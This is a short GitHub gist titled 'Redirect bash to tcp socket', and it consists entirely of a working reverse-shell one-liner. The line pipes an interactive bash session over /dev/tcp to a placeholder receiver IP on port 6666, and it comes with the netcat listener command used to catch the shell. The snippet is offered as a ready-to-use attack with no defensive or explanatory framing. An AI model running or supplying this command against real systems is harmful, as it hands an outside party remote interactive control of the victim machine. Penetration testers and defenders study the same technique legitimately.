Skip to content

Instantly share code, notes, and snippets.

@chosenonehacks
Created September 12, 2017 08:46
Show Gist options
  • Save chosenonehacks/d632fb25d5aeeb52765f672e1fbaa42f to your computer and use it in GitHub Desktop.
Save chosenonehacks/d632fb25d5aeeb52765f672e1fbaa42f to your computer and use it in GitHub Desktop.
Redirect bash to tcp socket
/bin/bash -i >& /dev/tcp/<ip.address.of.reciver>/6666 0>&1
# then at receiver:
nc -l -n -v -p 6666
# And wait for incoming bash shell
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment